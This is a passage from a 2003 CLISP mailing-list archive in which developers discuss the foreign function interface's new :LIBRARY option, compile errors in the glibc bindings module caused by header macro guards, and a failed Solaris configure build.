(:library "kernel32.dll") > (:arguments) (:return-type ffi:c-string) (:language :stdc)) > (print (command-line)) > "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc" > > please try this on unix and win32 and report your experience. I had some problem compiling "old style", static modules using CVS HEAD. It seems that the compiler no longer generates function prototypes in output C files for foreign fuctions defined with DEF-CALL-OUT without the :LIBRARY keyword. For example, I had a lot of messages like the following: linux.c: In function `module__linux__init_function_2': linux.c:25: `signgam' undeclared (first use in this function) linux.c:25: (Each undeclared identifier is reported only once linux.c:25: for each function it appears in.) linux.c:26: `environ' undeclared (first use in this function) linux.c:27: `opterr' undeclared (first use in this function) linux.c:28: `optind' undeclared (first use in this function) linux.c:29: `optopt' undeclared (first use in this function) linux.c:30: `optarg' undeclared (first use in this function) trying to complile Linux bindings module. Apart from this problem, the :LIBRARY keyword seems to work very well under Linux. It is incredible how fast and easy it has become to interact with external libraries! There is a problem using the :LIBRARY keyword with DEF-C-VAR: it does not accept it: [16]> (def-c-var external-variable (:name "external_variable") (:library "libshared.so") (:type c-string)) *** - Invalid option in (DEF-C-VAR EXTERNAL-VARIABLE (:NAME "external_variable") (:LIBRARY "libshared.so") (:TYPE C-STRING)): (:LIBRARY "libshared.so") 1. Break [17]> You simply forgot to add :library to the option list passed to PARSE-OPTIONS by DEF-C-VAR: (defmacro DEF-C-VAR (&whole whole name &rest options) (check-symbol (first whole) name) (let* ((alist (parse-options options '(:name :type :read-only :alloc) whole)) ... From sds@alphatech.com Thu Aug 07 15:17:25 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kt4W-0002fD-00 for ; Thu, 07 Aug 2003 15:17:24 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h77MHF525832; Thu, 7 Aug 2003 18:17:16 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS References: <16178.52307.424755.589833@dalet.19216810.loc> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16178.52307.424755.589833@dalet.19216810.loc> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 7 15:18:02 2003 X-Original-Date: 07 Aug 2003 18:17:15 -0400 > * In message <16178.52307.424755.589833@dalet.19216810.loc> > * On the subject of "[clisp-list] truly dynamic FFI in CVS" > * Sent on Fri, 8 Aug 2003 00:01:55 +0200 > * Honorable Aurelio Bignoli writes: > > trying to complile Linux bindings module. John Hinsdale fixed this, I think. please try again. > You simply forgot to add :library to the option list passed to > PARSE-OPTIONS by DEF-C-VAR: fixed, thanks -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From hin@van-halen.alma.com Thu Aug 07 16:35:27 2003 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19kuHx-0007er-00 for ; Thu, 07 Aug 2003 16:35:21 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 59F1610DE1B; Thu, 7 Aug 2003 19:35:14 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h77NZ8Vu021920; Thu, 7 Aug 2003 19:35:12 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h77NZ8OQ021917; Thu, 7 Aug 2003 19:35:08 -0400 Message-Id: <200308072335.h77NZ8OQ021917@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: a.bignoli@computer.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 07 Aug 2003 18:17:15 -0400) Subject: Re: [clisp-list] truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 7 16:36:19 2003 X-Original-Date: Thu, 7 Aug 2003 19:35:08 -0400 The module/bindings/glibc (formerly linuxlibc6) is compiling now on my system at least. It's taking the C function declarations from the system headers, which will make it more susceptible to incompatibilities of the different Linuxes, but also more quick to catch errors brought about by changes in the system functions. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From ampy@ich.dvo.ru Fri Aug 08 02:43:15 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19l3WA-0000RW-00 for ; Fri, 08 Aug 2003 02:26:39 -0700 Received: from ppp184-AS-5.vtc.ru (ppp184-AS-5.vtc.ru [212.16.207.184]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h789QIHm031792 for ; Fri, 8 Aug 2003 20:26:23 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <910217932.20030808191531@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 8 02:44:02 2003 X-Original-Date: Fri, 8 Aug 2003 19:15:31 +1000 Hi, Wednesday, August 06, 2003, 12:08:30 AM, you wrote: > DEF-CALL-OUT supports a :LIBRARY option which accepts a dll: > (def-call-out command-line > (:name "GetCommandLineA") (:library "kernel32.dll") > (:arguments) (:return-type ffi:c-string) (:language :stdc)) > (print (command-line)) > "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw > -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc" > please try this on unix and win32 and report your experience. I tried several system functions with cygwin/gcc and msvc6 built clisp. Very simple! Great! It's a pity that def-call-in hardly can be made dynamic while it seems crucial for typical event-driven windows app. -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Fri Aug 08 06:06:02 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19l6wS-0004TG-00 for ; Fri, 08 Aug 2003 06:06:00 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19l6vz-0006m8-00 for ; Fri, 08 Aug 2003 15:05:31 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19l6vx-0006lu-00 for ; Fri, 08 Aug 2003 15:05:29 +0200 From: Sam Steingold Organization: disorganization Lines: 33 Message-ID: References: <910217932.20030808191531@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 8 06:07:01 2003 X-Original-Date: 08 Aug 2003 09:05:55 -0400 > * In message <910217932.20030808191531@ich.dvo.ru> > * On the subject of "Re: truly dynamic FFI in CVS" > * Sent on Fri, 8 Aug 2003 19:15:31 +1000 > * Honorable Arseny Slobodjuck writes: > > Wednesday, August 06, 2003, 12:08:30 AM, you wrote: > > > DEF-CALL-OUT supports a :LIBRARY option which accepts a dll: > > (def-call-out command-line > > (:name "GetCommandLineA") (:library "kernel32.dll") > > (:arguments) (:return-type ffi:c-string) (:language :stdc)) > > (print (command-line)) > > "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw > > -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc" > > > please try this on unix and win32 and report your experience. > > I tried several system functions with cygwin/gcc and msvc6 built > clisp. Very simple! Great! please add to modules/bindings/win32/win32.lisp whatever useful functions you managed to call. > It's a pity that def-call-in hardly can be made dynamic while it seems > crucial for typical event-driven windows app. well, this is caused by the non-dynamic nature of C/C++, right? -- Sam Steingold (http://www.podval.org/~sds) running w2k Illiterate? Write today, for free help! From ampy@ich.dvo.ru Fri Aug 08 16:19:54 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19lGWU-0004Qq-00 for ; Fri, 08 Aug 2003 16:19:51 -0700 Received: from ppp164-AS-3.vtc.ru (ppp164-AS-3.vtc.ru [212.16.216.164]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h78NJdHk032699 for ; Sat, 9 Aug 2003 10:19:40 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1544114035.20030809102725@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: truly dynamic FFI in CVS In-reply-To: References: <910217932.20030808191531@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 8 16:20:03 2003 X-Original-Date: Sat, 9 Aug 2003 10:27:25 +1000 Hi, Friday, August 08, 2003, 11:05:55 PM, you wrote: >> It's a pity that def-call-in hardly can be made dynamic while it seems >> crucial for typical event-driven windows app. > well, this is caused by the non-dynamic nature of C/C++, right? But you have already done dynamic parameter/result translation! How about to made a fixed number of entry points/slots being defined by def-call-in ? (and clisp being compiled as a shared library) -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Sat Aug 09 18:29:36 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19lf1a-0004nW-00 for ; Sat, 09 Aug 2003 18:29:34 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19lf2r-00060a-00 for ; Sun, 10 Aug 2003 03:30:53 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19lf2q-00060S-00 for ; Sun, 10 Aug 2003 03:30:52 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19lf1X-0005vz-00 for ; Sun, 10 Aug 2003 03:29:31 +0200 From: Sam Steingold Organization: disorganization Lines: 25 Message-ID: References: <910217932.20030808191531@ich.dvo.ru> <1544114035.20030809102725@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 9 18:30:04 2003 X-Original-Date: 09 Aug 2003 21:29:32 -0400 Hi Arseny, > * In message <1544114035.20030809102725@ich.dvo.ru> > * On the subject of "Re: Re: truly dynamic FFI in CVS" > * Sent on Sat, 9 Aug 2003 10:27:25 +1000 > * Honorable Arseny Slobodjuck writes: > > Friday, August 08, 2003, 11:05:55 PM, you wrote: > > >> It's a pity that def-call-in hardly can be made dynamic while it seems > >> crucial for typical event-driven windows app. > > > well, this is caused by the non-dynamic nature of C/C++, right? > But you have already done dynamic parameter/result translation! How > about to made a fixed number of entry points/slots being defined by > def-call-in ? (and clisp being compiled as a shared library) I am afraid I do not understand what you mean. (I have never called lisp from C) -- Sam Steingold (http://www.podval.org/~sds) running w2k I'm out of my mind, but feel free to leave a message... From ampy@ich.dvo.ru Sun Aug 10 02:37:15 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19lmdU-0006SJ-00 for ; Sun, 10 Aug 2003 02:37:12 -0700 Received: from ppp205-AS-5.vtc.ru (ppp205-AS-5.vtc.ru [212.16.207.205]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h7A9apHk020782 for ; Sun, 10 Aug 2003 20:36:56 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <10715808030.20030810204441@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: truly dynamic FFI in CVS In-reply-To: References: <910217932.20030808191531@ich.dvo.ru> <1544114035.20030809102725@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 10 02:38:02 2003 X-Original-Date: Sun, 10 Aug 2003 20:44:41 +1000 Hello Sam, Sunday, August 10, 2003, 11:29:32 AM, you wrote: >> >> It's a pity that def-call-in hardly can be made dynamic while it seems >> >> crucial for typical event-driven windows app. >> >> > well, this is caused by the non-dynamic nature of C/C++, right? >> But you have already done dynamic parameter/result translation! How >> about to made a fixed number of entry points/slots being defined by >> def-call-in ? (and clisp being compiled as a shared library) > I am afraid I do not understand what you mean. > (I have never called lisp from C) Well, I'm not sure I do. I haven't called lisp from C either, so don't take it too seriously. As far as I can see, since there is already dynamic stack handling (translation of lisp call frame to C call frame - I don't really understand how it works) - a fixed number of exported functions (slots) can be made. These functions will translate C stack to lisp stack and call corresponding lisp functions (how to translate and which lisp functions for each 'slot' should be called is programmed by def-call-in). So there will no need to recompile clisp as application is changed. But it requires clisp to be dll. -- Best regards, Arseny From jwilliams@ercot.com Mon Aug 11 09:29:07 2003 Received: from mail.ercot.com ([65.67.37.83]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mEro-0002Mv-00 for ; Mon, 11 Aug 2003 08:45:53 -0700 Received: from mail.ercot.com ([10.3.16.29]) by mail.ercot.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 11 Aug 2003 10:45:45 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <196B06F749D8D94DB0A6B737CDCA33E21A486D@prw2kt82.ercot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Index: AcNgH6C5d3lQMZSpTPOb2t5RjJ7wMg== From: "Williams, Jack" To: X-OriginalArrivalTime: 11 Aug 2003 15:45:45.0386 (UTC) FILETIME=[A0C280A0:01C3601F] Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 09:30:04 2003 X-Original-Date: Mon, 11 Aug 2003 10:45:45 -0500 I am trying to build clisp 3.30 on Solaris 9 and am not meeting with = much success. The system that I am running may be configured for an = ASCII rather than ISO character set. The system is being build using gcc 2.95.3 from the Sun freeware cd = included with the operating system. LD_LIBRARY_PATH=3D/usr/lib:/opt/sfw/lib Attempt with no options ./configure jw.test ... executing = /opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure = --srcdir=3D../../libcharset --cache-file=3D../config.cache loading cache ../config.cache configure: syntax error at line 393: `(' unexpected Since I suspect that Unicode issues could be involved, I tried a build = with the --without-unicode option: ./configure --without-unicode jw.test2 ... executing = /opt/home/jwilliam/lisp/clisp-2.30/jw.test2/libcharset/configure = --srcdir=3D../../libcharset --without-unicode = --cache-file=3D../config.cache loading cache ../config.cache configure: syntax error at line 393: `(' unexpected I would appreciate any help you can provide on getting a working Solaris = build. Thanks, Jack Williams From lisp-clisp-list@m.gmane.org Mon Aug 11 10:08:19 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mG2a-00026f-00 for ; Mon, 11 Aug 2003 10:01:04 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mG3o-00075h-00 for ; Mon, 11 Aug 2003 19:02:20 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19mG3n-00075Z-00 for ; Mon, 11 Aug 2003 19:02:19 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mG2W-0002Z8-00 for ; Mon, 11 Aug 2003 19:01:00 +0200 From: Sam Steingold Organization: disorganization Lines: 20 Message-ID: References: <196B06F749D8D94DB0A6B737CDCA33E21A486D@prw2kt82.ercot.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 10:09:08 2003 X-Original-Date: 11 Aug 2003 13:01:00 -0400 > * In message <196B06F749D8D94DB0A6B737CDCA33E21A486D@prw2kt82.ercot.com> > * On the subject of "(no subject)" > * Sent on Mon, 11 Aug 2003 10:45:45 -0500 > * Honorable "Williams, Jack" writes: > > executing /opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure --srcdir=../../libcharset --cache-file=../config.cache > loading cache ../config.cache > configure: syntax error at line 393: `(' unexpected and what does jw.test/config.cache:393 look like? I think you are stuck with a broken shell. please try $ CONFIG_SHELL=/bin/bash ./configure jw.test1 -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From a.bignoli@computer.org Mon Aug 11 14:04:33 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mJLa-00061L-00 for ; Mon, 11 Aug 2003 13:32:54 -0700 Received: from dalet.19216810.loc (IDENT:0@pool1-ip15.fauser.it [80.20.153.80]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA26228; Mon, 11 Aug 2003 22:22:52 +0200 (MET DST) Received: from dalet.19216810.loc (IDENT:25@localhost [127.0.0.1]) by dalet.19216810.loc (8.12.9/8.12.9) with ESMTP id h7BKP5oP000363; Mon, 11 Aug 2003 22:25:05 +0200 Received: (from aurelio@localhost) by dalet.19216810.loc (8.12.9/8.12.9/Submit) id h7AHB2mA022657; Sun, 10 Aug 2003 19:11:02 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16182.31910.494266.471217@dalet.19216810.loc> To: "John K. Hinsdale" Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS In-Reply-To: <200308072335.h77NZ8OQ021917@van-halen.alma.com> References: <200308072335.h77NZ8OQ021917@van-halen.alma.com> X-Mailer: VM 7.16 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 14:05:10 2003 X-Original-Date: Sun, 10 Aug 2003 19:11:02 +0200 John K. Hinsdale writes: > > The module/bindings/glibc (formerly linuxlibc6) is compiling now on my > system at least. on my system I got the usual "undeclared" error for scalb and scalf. I can't understand the reason, they are declared in bits/mathcall.h, which is included by math.h. So I added the two prototypes to linux.c and compiled it without problems. From sds@alphatech.com Mon Aug 11 14:13:23 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mJSE-0007ca-00 for ; Mon, 11 Aug 2003 13:39:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7BKdWu09972; Mon, 11 Aug 2003 16:39:32 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Aurelio Bignoli Cc: "John K. Hinsdale" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS References: <200308072335.h77NZ8OQ021917@van-halen.alma.com> <16182.31910.494266.471217@dalet.19216810.loc> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16182.31910.494266.471217@dalet.19216810.loc> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 14:14:07 2003 X-Original-Date: 11 Aug 2003 16:39:32 -0400 > * In message <16182.31910.494266.471217@dalet.19216810.loc> > * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS" > * Sent on Sun, 10 Aug 2003 19:11:02 +0200 > * Honorable Aurelio Bignoli writes: > > John K. Hinsdale writes: > > > > The module/bindings/glibc (formerly linuxlibc6) is compiling now on my > > system at least. > > on my system I got the usual "undeclared" error for scalb and scalf. I > can't understand the reason, they are declared in bits/mathcall.h, > which is included by math.h. they are guarded with #ifdef __USE_ISOC99 I suggest adding "-std=c99" to CFLAGS in Makefile. -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From hin@van-halen.alma.com Mon Aug 11 14:24:08 2003 Received: from swangold.dsl.net ([65.84.81.10]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mJpL-0005JL-00 for ; Mon, 11 Aug 2003 14:03:39 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by swangold.dsl.net (Postfix) with ESMTP id 9C0062FBA4; Mon, 11 Aug 2003 17:03:30 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7BL3UVu014388; Mon, 11 Aug 2003 17:03:30 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7BL3U1h014385; Mon, 11 Aug 2003 17:03:30 -0400 Message-Id: <200308112103.h7BL3U1h014385@van-halen.alma.com> From: "John K. Hinsdale" To: a.bignoli@computer.org Cc: sds@gnu.org, clisp-list@lists.sourceforge.net In-reply-to: <16182.31910.494266.471217@dalet.19216810.loc> (message from Aurelio Bignoli on Sun, 10 Aug 2003 19:11:02 +0200) Subject: Re: [clisp-list] truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 14:25:07 2003 X-Original-Date: Mon, 11 Aug 2003 17:03:30 -0400 > on my system I got the usual "undeclared" error for scalb and scalf. I > can't understand the reason, they are declared in bits/mathcall.h, > which is included by math.h. Looking at bits/matchcalls.h, the declarations for scalb() are only included-in by the preprocessor if either of these macros are set; # if defined __USE_MISC || defined __USE_XOPEN_EXTENDED These get set only by the compiler, and only if you #define _GNU_SOURCE before the first system file is included (see my post to the devel. list below). It's an open issue among the developers how to deal with this. > So I added the two prototypes to linux.c and compiled it without > problems. That is pretty much all you can do at the moment. ---- Begin forwarded message ------- >From hin Fri Aug 8 16:17:24 -0400 2003 From: "John K. Hinsdale" To: clisp-devel@lists.sourceforge.net Subject: Re: Problems in modules/glibc/linux.lisp > Can you replace > ; You can uncomment this if your compiler sets __USE_GNU > with > (c-lines "#define __USE_GNU~%") It turns out you cannot set __USE_GNU directly; it is internal to the compiler and treated very specially. It can be inspeced with #ifdef, but it can only be turned on by the compiler (#define __USE_GNU does nothing), and even then only by #define'ing _GNU_SOURCE prior to the VERY FIRST #include of any system header file. (Much experimentation has led me to these facts). This also triggers other defines that bring in BSD and POSIX calls. This is all for my Linux 2.4.20 environment, with gcc 2.95.4. This is a pretty common environment as many are still clinging tightly to GCC 2.95. Now, it does not work to just do (c-lines "#define _GNU_SOURCE~%") at the start of linux.lisp, because in the generated file "C" file, the FFI sticks #include "clisp.h" before anything generated via C-LINES. And "clisp.h" in turn does a #include thereby ensuring that __USE_GNU will not be set for the build of the module. Pretty messy, eh? So we either need to: 1 - live without the function calls that are exported only when __USE_GNU is set. Not desirable? 2 - Set _GNU_SOURCE buildwide in "clisp.h". I don't know whether this is a good idea. Your call. 3 - Give the FFI away to let the module stick lines in the output that will come before the #include "clisp.h" Please let me know which option you prefer. I should at least fix the comments in the Lisp file reading "if your compiler sets __USE_GNU" are nonsensical: the end user sets __USE_GNU indirectly, not the compiler. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From torsneyt@georgetown.edu Mon Aug 11 19:40:08 2003 Received: from dsl254-103-246.nyc1.dsl.speakeasy.net ([216.254.103.246] helo=katana.macs.2y.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mOnA-0004O5-00 for ; Mon, 11 Aug 2003 19:21:44 -0700 Received: from georgetown.edu (localhost [127.0.0.1]) by katana.macs.2y.net (Postfix) with ESMTP id DC19D5D6161 for ; Mon, 11 Aug 2003 22:21:36 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Thomas Torsney-Weir To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] macro problem Sender: 